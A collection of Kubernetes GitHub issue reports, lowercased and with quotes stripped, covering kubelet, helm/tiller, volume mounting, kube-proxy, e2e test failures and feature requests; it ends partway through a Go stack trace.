<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : cadvisor inotify_init: too many open files\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  : hardware\r -   os    e.g. from /etc/os-release : suse 12\r -   kernel    e.g.  uname -a  :\r -   install tools  : manul\r -   others  :\r \r \r   what happened  : monit monitor kubelet and flanneld service, and kubelet service depends on flanneld service, i make flanneld not running, so kubelet will restart by monit, after many times restart, i fix flanneld service, but kubelet launch with error \r \r \r   what you expected to happen  :\r kubelet running success\r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else do we need to know  :\r    \r e1123 14:47:21.372435   24479 kubelet.go:2675  failed to check if disk space is available for the runtime: failed to get fs info for \ runtime\ : unable to find data for container /\r e1123 14:47:21.372469   24479 kubelet.go:2683  failed to check if disk space is available on the root partition: failed to get fs info for \ root\ : unable to find data for container /\r i1123 14:47:25.806786   24479 kubelet.go:2803  skipping pod synchronization -  failed to start cadvisor inotify_init: too many open files \r i1123 14:47:30.806954   24479 kubelet.go:2803  skipping pod synchronization -  failed to start cadvisor inotify_init: too many open files \r e1123 14:47:31.397830   24479 kubelet.go:2675  failed to check if disk space is available for the runtime: failed to get fs info for \ runtime\ : unable to find data for container /\r e1123 14:47:31.397861   24479 kubelet.go:2683  failed to check if disk space is available on the root partition: failed to get fs info for \ root\ : unable to find data for container /\r i1123 14:47:35.807141   24479 kubelet.go:2803  skipping pod synchronization -  failed to start cadvisor inotify_init: too many open files \r i1123 14:47:40.807326   24479 kubelet.go:2803  skipping pod synchronization -  failed to start cadvisor inotify_init: too many open files \r e1123 14:47:41.415673   24479 kubelet.go:2675  failed to check if disk space is available for the runtime: failed to get fs info for \ runtime\ : unable to find data for container /\r e1123 14:47:41.415704   24479 kubelet.go:2683  failed to check if disk space is available on the root partition: failed to get fs info for \ root\ : unable to find data for container /\r i1123 14:47:45.807487   24479 kubelet.go:2803  skipping pod synchronization -  failed to start cadvisor inotify_init: too many open files \r    \r

kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:52:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :  private vm\r -   os    e.g. from /etc/os-release : ubuntu16.04 os\r -   kernel    e.g.  uname -a  : 4.4.0-21-generic\r -   install tools  : kubeadm\r -   others  : using helm v1.2.1\r and i use kubeadm to setup the cluster following this guide: 'http://kubernetes.io/docs/getting-started-guides/kubeadm/', and is a k8s cluster  master/node  on the same vm. i do have run  kubectl taint nodes --all dedicated- .\r \r \r   what happened  :\r run  helm version  will come to below output:\r    \r client: &version.version{semver:\ v2.1.3\ , gitcommit:\ 5cbc48fb305ca4bf68c26eb8d2a7eb363227e973\ , gittreestate:\ clean\ }\r e0123 08:33:52.432781   66598 portforward.go:329  an error occurred forwarding 40369 -> 44134: error forwarding port 44134 to pod tiller-deploy-3299276078-0qbdj_kube-system, uid : fork/exec /usr/bin/nsenter: resource temporarily unavailable:\r error: cannot connect to tiller\r    \r \r \r   what you expected to happen  :\r normally  helm version  will output:\r    \r client: &version.version{semver:\ v2.1.3\ , gitcommit:\ 5cbc48fb305ca4bf68c26eb8d2a7eb363227e973\ , gittreestate:\ clean\ }\r server: &version.version{semver:\ v2.1.3\ , gitcommit:\ 5cbc48fb305ca4bf68c26eb8d2a7eb363227e973\ , gittreestate:\ clean\ }\r    \r \r \r   how to reproduce it    as minimally and precisely as possible :\r not very clear though, everything is ok at first, and after mabye 1 day,  helm version  will come to this issue. \r \r   anything else do we need to know  :\r below is the steps i did when came to this problem:\r 1.  kubectl get pods --all-namespaces \r    \r ...\r kube-system   kube-flannel-ds-764cw                   2/2       running   0          1d\r kube-system   tiller-deploy-3299276078-0qbdj          1/1       running   1          1d\r    \r \r 2.  kubectl -n kube-system exec -ti tiller-deploy-3299276078-0qbdj sh \r    \r /   netstat -ntlp\r active internet connections  only servers \r proto recv-q send-q local address           foreign address         state       pid/program name\r tcp        0      0 :::44134                :::                     listen      1/tiller\r tcp        0      0 :::44135                :::                     listen      1/tiller\r    \r \r 3. since it seems to network problem, i just delete the flannel pod, to make it recreate\r    \r   kubectl -n kube-system delete pods kube-flannel-ds-764cw\r pod \ kube-flannel-ds-764cw\  deleted\r   kubectl -n kube-system get pods\r kube-flannel-ds-x6c3m                   0/2       containercreating   0          2m\r   kubectl -n kube-system describe pod kube-flannel-ds-x6c3m\r name:\t\tkube-flannel-ds-x6c3m\r namespace:\tkube-system\r node:\t\tszx1000255556/100.100.71.30\r start time:\tmon, 23 jan 2017 08:37:53 +0800\r labels:\t\tapp=flannel\r \t\ttier=node\r status:\t\tpending\r ip:\t\t100.100.71.30\r controllers:\tdaemonset/kube-flannel-ds\r containers:\r   kube-flannel:\r     container id:\r     image:\t\tquay.io/coreos/flannel-git:v0.6.1-28-g5dde68d-amd64\r     image id:\r     port:\r     command:\r       /opt/bin/flanneld\r       --ip-masq\r       --kube-subnet-mgr\r     state:\t\twaiting\r       reason:\t\tcontainercreating\r     ready:\t\tfalse\r     restart count:\t0\r     volume mounts:\r       /etc/kube-flannel/ from flannel-cfg  rw \r       /run from run  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-7rgm6  ro \r     environment variables:\r       pod_name:\t\tkube-flannel-ds-x6c3m  v1:metadata.name \r       pod_namespace:\tkube-system  v1:metadata.namespace \r   install-cni:\r     container id:\r     image:\t\tquay.io/coreos/flannel-git:v0.6.1-28-g5dde68d-amd64\r     image id:\r     port:\r     command:\r       /bin/sh\r       -c\r       set -e -x; cp -f /etc/kube-flannel/cni-conf.json /etc/cni/net.d/10-flannel.conf; while true; do sleep 3600; done\r     state:\t\twaiting\r       reason:\t\tcontainercreating\r     ready:\t\tfalse\r     restart count:\t0\r     volume mounts:\r       /etc/cni/net.d from cni  rw \r       /etc/kube-flannel/ from flannel-cfg  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-7rgm6  ro \r     environment variables:\t<none>\r conditions:\r   type\t\tstatus\r   initialized \ttrue\r   ready \tfalse\r volumes:\r   run:\r     type:\thostpath  bare host directory volume \r     path:\t/run\r   cni:\r     type:\thostpath  bare host directory volume \r     path:\t/etc/cni/net.d\r   flannel-cfg:\r     type:\tconfigmap  a volume populated by a configmap \r     name:\tkube-flannel-cfg\r   default-token-7rgm6:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-7rgm6\r qos class:\tbesteffort\r tolerations:\t<none>\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t-------\r   32s\t\t32s\t\t1\t{kubelet szx1000255556}\t\t\twarning\t\tfailedmount\tunable to mount volumes for pod \ kube-flannel-ds-x6c3m_kube-system 2ceeffad-e104-11e6-9cb8-286ed488f0d3 \ : timeout expired waiting for volumes to attach/mount for pod \ kube-flannel-ds-x6c3m\ /\ kube-system\ . list of unattached/unmounted volumes= default-token-7rgm6 \r   32s\t\t32s\t\t1\t{kubelet szx1000255556}\t\t\twarning\t\tfailedsync\terror syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ kube-flannel-ds-x6c3m\ /\ kube-system\ . list of unattached/unmounted volumes= default-token-7rgm6 \r   2m\t\t24s\t\t9\t{kubelet szx1000255556}\t\t\twarning\t\tfailedmount\tmountvolume.setup failed for volume \ kubernetes.io/secret/2ceeffad-e104-11e6-9cb8-286ed488f0d3-default-token-7rgm6\   spec.name: \ default-token-7rgm6\   pod \ 2ceeffad-e104-11e6-9cb8-286ed488f0d3\   uid: \ 2ceeffad-e104-11e6-9cb8-286ed488f0d3\   with: mount failed: fork/exec /bin/mount: resource temporarily unavailable\r mounting command: mount\r mounting arguments: tmpfs /var/lib/kubelet/pods/2ceeffad-e104-11e6-9cb8-286ed488f0d3/volumes/kubernetes.io~secret/default-token-7rgm6 tmpfs   \r output:\r    \r notice the above event mount failure, and the flannel will never come up.\r \r 4.  systemctl restart kubelet.service  can fix this problem and make everything work normal again.\r \r \r this is single vm k8s cluster, but same problem also appear on 1 master + n node cluster environment.

kubefed init   recently added   --apiserver-arg-overrides   and   --controllermanager-arg-overrides  , which can now be used to pass arguments to federation apiserver and controller manager during initial deployment.\r there are some flags which were used as explicit flags, which should be removed and these new ones should be used instead.\r

we have had a lot of reported & real issues with aws volumes.  we need a stress test so we can have confidence both in the existing code and in any fixes we merge.\r \r @kubernetes/sig-testing-misc is there a gce test we can adapt?  the ideal end goal in my mind would have a lot of volume operations happening concurrently with disruptive operations  restarting kubelets, kube-controller-managers, nodes, apiservers etc .\r \r cc @gnufied @jingxu97

the admission attributes given to admission plugins do not populate object name on create.\r \r this means that admission plugins must do  attr.getobject  .  api.mytype .name  themselves.\r \r since the object is available, the name in the admission attributes should be populated if available.

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r it seems kubelet did not update inode pressure; and only test codes are using  v1.nodeinodepressure . so prefer to deprecate or remove it directly.\r \r @kubernetes/sig-node-bugs   seems no node-misc group : .

is this a bug report or feature request?  : both\r \r  \r   what happened  :\r i tried to do  hyperkube cloud-controller-manager \r \r   what you expected to happen  :\r ccm to execute.\r \r   how to reproduce it  as minimally and precisely as possible   :\r try to run ccm from hyperkube.\r \r   anything else we need to know?  :\r \r i know there's a desire to move ccm, etc out of core, but i think this is an appropriate action to take for 2-3 releases, and i think it can encourage additional testing from folks that already have infra/installers that just operate with a single given hyperkube image/tag.\r \r   environment  : n/a\r

  \r \r   what happened  :\r \r when mounting iscsi pv kubelet doesn't give multipathd enough time to create multipath device and fallbacks to mounting single scsi device\r \r   what you expected to happen  :\r it uses multipath device to mount\r \r   how to reproduce it  as minimally and precisely as possible   :\r create ~5 pods on a single node, each with dynamically provisioned pv  we use trident for that , observe how some mounts are /dev/sd  and not /dev/mapper/ \r \r \r   environment  :\r kubelet 1.9.3\r baremetal + netapp ontap ove iscsi + trident dynamic volume provisioner\r coreos  kernel 4.14.24, multipath-tools 0.6.4 \r

<!-- this form is for bug reports and feature requests only!\r     \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r      kube-scheduler have an error \r e0418 09:58:30.679513       1 reflector.go:205  k8s.io/kubernetes/plugin/cmd/kube-scheduler/app/server.go:590: failed to list  v1.pod: get https://192.168.17.96:6443/api/v1/pods?fieldselector=spec.schedulername%3ddefault-scheduler%2cstatus.phase%21%3dfailed%2cstatus.phase%21%3dsucceeded&amp;limit=500&amp;resourceversion=0: net/http: tls handshake timeout\r e0418 09:58:30.679776       1 reflector.go:205  k8s.io/kubernetes/vendor/k8s.io/client-go/informers/factory.go:86: failed to list  v1beta1.poddisruptionbudget: get https://192.168.17.96:6443/apis/policy/v1beta1/poddisruptionbudgets?limit=500&amp;resourceversion=0: net/http: tls handshake timeout \r   what you expected to happen  :\r     i want to know how to resolve it \r   how to reproduce it  as minimally and precisely as possible   :\r     i need to  build kubernetes of version 1.9.4 on the development environment, i through the src make to binary file. i consulte this  technological process\r \r   anything else we need to know?  :\r \r   environment  :  \r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.4\ , gitcommit:\ bee2d1505c4fe820744d26d41ecd3fdd4a3d6546\ , gittreestate:\ clean\ , builddate:\ 2018-03-14t06:14:28z\ , goversion:\ go1.10\ , compiler:\ gc\ , platform:\ linux/arm64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.4\ , gitcommit:\ bee2d1505c4fe820744d26d41ecd3fdd4a3d6546\ , gittreestate:\ clean\ , builddate:\ 2018-03-14t06:14:28z\ , goversion:\ go1.10\ , compiler:\ gc\ , platform:\ linux/arm64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : \r - kernel  e.g.  uname -a  :  linux master1 4.4.13-20170224.kylin.5.yun+  51 smp mon apr 10 14:11:02 cst 2017 aarch64 aarch64 aarch64 gnu/linux\r - install tools:   use the binary file \r - others:\r

is this a bug report or feature request?  :\r  \r   what happened  :\r the test is flaky with the error something like:\r \r  could not reach http service through  ip  after 15m0s: <nil> \r \r   what you expected to happen  :\r test should pass\r \r /assign @lion-wei \r

i'm needing a load balancer, external to my kubernetes environment, that facilitates session affinity via means other than   client ip  . in reading the documentation for services, i see where it's mentioned that a service of type  nodeport  \ gives developers the freedom to set up their own load balancers\ . this seems like a good start, but it also mentions that a  nodeport  uses a cluster ip along with a random port on each kubernetes node that proxies traffic to the service. this makes sense, but it got me to thinking that any traffic sent to the  nodeports  is still going to get load balanced against the service's pods by the  kube-proxy .  so ultimately i'm confused by the documentation... how should a developer go about leveraging  nodeports  in support of their own load balancer with custom session affinity rules? am i incorrect in thinking that once the traffic is in the kubernetes environment it's still going to get proxied to pods via a random selection? is it possible that  8731 would be useful here?

i think  17157 might still be broken.  i'm using the spark example w/ ubuntu provider.  i'm forwarding 8081 below because i'm running the command on my k8s master, which is already using 8080.      $ which socat /usr/bin/socat  $ kubectl port-forward zeppelin-controller-oea9w 8081:8080 i0116 11:51:55.986614   22704 portforward.go:213  forwarding from 127.0.0.1:8081 -> 8080 i0116 11:51:55.986782   22704 portforward.go:213  forwarding from  ::1 :8081 -> 8080 i0116 11:52:03.982497   22704 portforward.go:247  handling connection for 8081 e0116 11:52:04.116196   22704 portforward.go:318  an error occurred forwarding 8081 -> 8080: error forwarding port 8080 to pod zeppelin-controller-oea9w_default, uid : unable to do port forwarding: socat not found.  $ kubectl version client version: version.info{major:\ 1\ , minor:\ 1\ , gitversion:\ v1.1.2\ , gitcommit:\ 3085895b8a70a3d985e9320a098e74f545546171\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 1\ , gitversion:\ v1.1.2\ , gitcommit:\ 3085895b8a70a3d985e9320a098e74f545546171\ , gittreestate:\ clean\ }      purportedly 1.1.2 should include the fix in  17157

hi guys,        i've gotten an error after i updated the kubernetes to the version of \ kubernetes-1.2.0-0.6.alpha1.git8632732.el7.x86_64\ . when i deleted the pods of what i specified the rc automatically helps me create the new pods. about 1 minute later, the recent pods of rc created still being the state of \ pending\ .    i've checked the logs of kubernetes api-server and getting what i listed at below:      > feb 21 05:13:47 localhost.localdomain kube-apiserver 1774 : w0221 05:13:47.245943    1774 controller.go:290  resetting endpoints for master service \ kubernetes\  to &{{ } {kubernetes  default  84ea6c44-d311-11e5-89a6-000c29d6fa13 8 0 2016-02-14 03:53:10 -0800 pst <nil> <nil> map   map  }  { {192.168.38.129 <nil>}      {https 6443 tcp} } } > feb 21 05:13:47 localhost.localdomain kube-apiserver 1774 : i0221 05:13:47.253309    1774 server.go:622  serving securely on 0.0.0.0:6443 > feb 21 05:13:47 localhost.localdomain kube-apiserver 1774 : i0221 05:13:47.787366    1774 server.go:634  using self-signed cert  /var/run/kubernetes/apiserver.crt, /var/run/kubernetes/apiserver.key  > feb 21 05:13:47 localhost.localdomain kube-apiserver 1774 : i0221 05:13:47.788568    1774 server.go:664  serving insecurely on 127.0.0.1:8080 > feb 21 05:13:47 localhost.localdomain systemd 1 : started kubernetes api server. > feb 21 05:17:17 localhost.localdomain kube-apiserver 1774 : e0221 05:17:17.622525    1774 apiserver.go:440  apiserver was unable to write a json response: internal error occurred: pod \ redis-slave-wjt7l\  in namespace \ default\  : pod is not in 'running', 'succeeded' or 'failed' state - state: \ pending\  > feb 21 05:17:52 localhost.localdomain kube-apiserver 1774 : e0221 05:17:52.655605    1774 apiserver.go:440  apiserver was unable to write a json response: internal error occurred: pod \ redis-slave-bzrtu\  in namespace \ default\  : pod is not in 'running', 'succeeded' or 'failed' state - state: \ pending\  > feb 21 05:20:28 localhost.localdomain kube-apiserver 1774 : e0221 05:20:28.917423    1774 apiserver.go:440  apiserver was unable to write a json response: internal error occurred: pod \ redis-slave-bzrtu\  in namespace \ default\  : pod is not in 'running', 'succeeded' or 'failed' state - state: \ pending\        is there anyone can tell me whether is or not that the current kubernetes version which i used is unstable?       thanks a lot, kevin yang.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2431/ failed:  k8s.io  downward api should provide default limits.cpu/memory from node allocatable  conformance  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/downward_api.go:175 expected error:     < errors.errorstring | 0xc420beb600>: {         s: \ failed to get logs from downward-api-55e5d34b-0567-11e7-b233-42010a800012 for dapi-container: the server could not find the requested resource  get pods downward-api-55e5d34b-0567-11e7-b233-42010a800012 \ ,     }     failed to get logs from downward-api-55e5d34b-0567-11e7-b233-42010a800012 for dapi-container: the server could not find the requested resource  get pods downward-api-55e5d34b-0567-11e7-b233-42010a800012  not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2195

failure cluster  42229f8b33f735ea0213  https://go.k8s.io/triage 42229f8b33f735ea0213        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/apimachinery/aggregator.go:65 creating cluster role wardler expected error:     < errors.statuserror | 0xc421134380>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ clusterroles.rbac.authorization.k8s.io \\\ wardler\\\  is forbidden: attempt to grant extra privileges:  policyrule{resources: \\\ flunders\\\  , apigroups: \\\ wardle.k8s.io\\\  , verbs: \\\ create\\\  } policyrule{resources: \\\ flunders\\\  , apigroups: \\\ wardle.k8s.io\\\  , verbs: \\\ delete\\\  } policyrule{resources: \\\ flunders\\\  , apigroups: \\\ wardle.k8s.io\\\  , verbs: \\\ deletecollection\\\  } policyrule{resources: \\\ flunders\\\  , apigroups: \\\ wardle.k8s.io\\\  , verbs: \\\ get\\\  } policyrule{resources: \\\ flunders\\\  , apigroups: \\\ wardle.k8s.io\\\  , verbs: \\\ list\\\  } policyrule{resources: \\\ flunders\\\  , apigroups: \\\ wardle.k8s.io\\\  , verbs: \\\ patch\\\  } policyrule{resources: \\\ flunders\\\  , apigroups: \\\ wardle.k8s.io\\\  , verbs: \\\ update\\\  } policyrule{resources: \\\ flunders\\\  , apigroups: \\\ wardle.k8s.io\\\  , verbs: \\\ watch\\\  } policyrule{nonresourceurls: \\\  \\\  , verbs: \\\ get\\\  }  user=&{pr-kubekins@kubernetes-jenkins-pull.iam.gserviceaccount.com   system:authenticated  map  } ownerrules= policyrule{resources: \\\ selfsubjectaccessreviews\\\  , apigroups: \\\ authorization.k8s.io\\\  , verbs: \\\ create\\\  } policyrule{nonresourceurls: \\\ /api\\\  \\\ /api/ \\\  \\\ /apis\\\  \\\ /apis/ \\\  \\\ /healthz\\\  \\\ /swaggerapi\\\  \\\ /swaggerapi/ \\\  \\\ /version\\\  , verbs: \\\ get\\\  }  ruleresolutionerrors=  \ ,             reason: \ forbidden\ ,             details: {                 name: \ wardler\ ,                 group: \ rbac.authorization.k8s.io\ ,                 kind: \ clusterroles\ ,                 uid: \ \ ,                 causes: nil,                 retryafterseconds: 0,             },             code: 403,         },     }     clusterroles.rbac.authorization.k8s.io \ wardler\  is forbidden: attempt to grant extra privileges:  policyrule{resources: \ flunders\  , apigroups: \ wardle.k8s.io\  , verbs: \ create\  } policyrule{resources: \ flunders\  , apigroups: \ wardle.k8s.io\  , verbs: \ delete\  } policyrule{resources: \ flunders\  , apigroups: \ wardle.k8s.io\  , verbs: \ deletecollection\  } policyrule{resources: \ flunders\  , apigroups: \ wardle.k8s.io\  , verbs: \ get\  } policyrule{resources: \ flunders\  , apigroups: \ wardle.k8s.io\  , verbs: \ list\  } policyrule{resources: \ flunders\  , apigroups: \ wardle.k8s.io\  , verbs: \ patch\  } policyrule{resources: \ flunders\  , apigroups: \ wardle.k8s.io\  , verbs: \ update\  } policyrule{resources: \ flunders\  , apigroups: \ wardle.k8s.io\  , verbs: \ watch\  } policyrule{nonresourceurls: \  \  , verbs: \ get\  }  user=&{pr-kubekins@kubernetes-jenkins-pull.iam.gserviceaccount.com   system:authenticated  map  } ownerrules= policyrule{resources: \ selfsubjectaccessreviews\  , apigroups: \ authorization.k8s.io\  , verbs: \ create\  } policyrule{nonresourceurls: \ /api\  \ /api/ \  \ /apis\  \ /apis/ \  \ /healthz\  \ /swaggerapi\  \ /swaggerapi/ \  \ /version\  , verbs: \ get\  }  ruleresolutionerrors=   not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/apimachinery/aggregator.go:331           failure cluster statistics: 1 tests failed,    11 jobs failed,    241 builds failed. failure stats cover 1 day time range '17 aug 2017 22:57 utc' to '18 aug 2017 22:57 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  sig-api-machinery  aggregator should be able to support the 1.7 sample api server using the current aggregator | 11 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gke-multizone | 42 |  18 aug 2017 22:02 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-multizone/13432  | | ci-kubernetes-e2e-gci-gke | 40 |  18 aug 2017 22:00 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/13636  | | ci-kubernetes-e2e-gke-multizone | 40 |  18 aug 2017 22:11 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-multizone/14175  |   current status  https://go.k8s.io/triage 42229f8b33f735ea0213

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : feature request\r \r  \r previously, flexvolume drivers can only be discovered by kubernetes at system initialization time. add capability for them to be discovered on the fly.\r \r proposal: https://github.com/kubernetes/community/pull/833\r

cc @kubernetes/sig-auth-feature-requests \r cc @mikedanese @jcbsmpsn\r \r for self-hosted kubernetes, i'd like to be able to bootstrap new api servers, and possibly etcd instances, on new nodes after i've bootstrapped the kubelet. possibly through an init container that creates a csr, then passes it along to the app. these boil down to:\r \r   approve a client certificate request for a specific cn.\r   approve a serving certificate request for a specific dns name or ip address.\r \r because all of the existing csr approval processes are node specific i can't whitelist a service account to request arbitrary cns like \ system:apiserver\   or \ system:etcd\

\r   is this a bug report or feature request?  :\r \r >\r >  \r   what happened  :\r \r when setting  externaltrafficpolicy=local  in ipvs proxy mode, kube-proxy can't create clusterip ipvs rules.\r \r   what you expected to happen  :\r \r create clusterip rules, so that can access service from internal.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - create a service with backends in different node.\r - set service  externaltrafficpolicy  to  local .\r - access the service cluster ip from the node which don't have service backend.\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r createted a statefullset with a pvc that did not exist by calling  kubectl apply -f log-viewer.yaml   given below , the declaration of the statefulset will be accepted, but the resultant pod will remain in the status  containercreating  for ever.\r \r    \r kind: service\r apiversion: v1\r metadata:\r   name: blocked-log-viewer\r   labels:\r     role: blocked-log-viewer\r spec:\r   type: clusterip\r   selector:\r     role: blocked-log-viewer\r   ports:\r     - name: www\r       port: 80\r     - name: ssh\r       port: 22\r \r ---\r \r apiversion: apps/v1\r kind: statefulset\r metadata:\r   name: blocked-log-viewer\r spec:\r   servicename: \ blocked-log-viewer\ \r   selector:\r     matchlabels:\r       role: blocked-log-viewer\r   template:\r     metadata:\r       labels:\r         role: blocked-log-viewer\r     spec:\r       containers:\r       - name: log-viewer\r         image: hub.docker.com/nginx\r         ports:\r           - containerport: 80\r           - containerport: 22\r         env:\r         volumemounts:\r           - name: log-space\r             mountpath: /var/www/html\r       volumes:\r         - name: log-space\r           persistentvolumeclaim:\r             claimname: i-do-not-exist\r    \r \r   what you expected to happen  :\r either a  report that a pvc of the name given is not found when the statefulset is declared. alternatively b  place an appropriate notification event into the pod when the attempt to mount the volume fails.\r \r imho  a  would be better, as it fails faster and makes fault discovery easier.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r apply resource description above to any namespace that does not have a pvc with the name  i-do-no-exist \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.4+coreos.0\ , gitcommit:\ 5e73e0769e5c4ac497235e2817868b1a37032fba\ , gittreestate:\ clean\ , builddate:\ 2018-03-12t20:05:58z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r

is this a bug report or feature request?  :\r  \r   what happened  :\r nodeport will exposes the service on each node’s ip at a static port.  can i exposes the node's port through the label of node instead of each node in cluster？\r \r   what you expected to happen  :\r i can  exposes the node's port through the label of node\r

when api server silently ignores certain updates. such as updating status without using node's status subresource, such errors never bubble up to the client. client has no idea that write did not work as expected.\r \r i understand that for backward compatibility we may not be able to fix this in current iteration but in long term perhaps rather than silently igoring such updates - we should throw an error to the client.\r \r  \r cc @liggitt \r

we have podphasesucceeded.     7856 says we should use conditions in place of phases. if that is the case, then we should add conditions which mirror andy existing phases, such as  podphasesucceeded, and mark the conditions as preferred to phases.

see: \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/38621/pull-kubernetes-unit/11304/ k8siokubernetesfederationpkgfederation-controllernamespace-testnamespacecontroller\r \r i think that test fail is nothing to do with my pr  38621 \r \r @mwielgus i tag you because the failed messages has connections with your pr  37659\r and i have no idea why it fails, i tested it on my branch of my pr in my local machine, it passed.\r \r the log is:\r    \r 0xa4e85d\tk8s.io/kubernetes/federation/pkg/federation-controller/util/test.registerfakewatch.func1+0x14d\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/util/test/test_helper.go:154\r 0x44355e\tsync.runtime_notifylistwait+0x12e\t\t\t\t\t\t\t\t\t\t/usr/local/go/src/runtime/sema.go:267\r 0x4da08d\tsync.  cond .wait+0x8d\t\t\t\t\t\t\t\t\t\t\t\t/usr/local/go/src/sync/cond.go:57\r 0x9feb1d\tk8s.io/kubernetes/pkg/client/cache.  deltafifo .pop+0xed\t\t\t\t\t\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/cache/delta_fifo.go:407\r 0x9fb020\tk8s.io/kubernetes/pkg/client/cache.  controller .processloop+0x70\t\t\t\t\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/cache/controller.go:131\r 0xa09d91\tk8s.io/kubernetes/pkg/client/cache.  controller . k8s.io/kubernetes/pkg/client/cache.processloop -fm+0x41\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/cache/controller.go:102\r 0xbf15ff\tk8s.io/kubernetes/pkg/util/wait.jitteruntil.func1+0x6f\t\t\t\t\t\t\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:96\r 0xbf0d5d\tk8s.io/kubernetes/pkg/util/wait.jitteruntil+0xbd\t\t\t\t\t\t\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:97\r 0xbf0c7a\tk8s.io/kubernetes/pkg/util/wait.until+0x5a\t\t\t\t\t\t\t\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:52\r 0x9fad0e\tk8s.io/kubernetes/pkg/client/cache.  controller 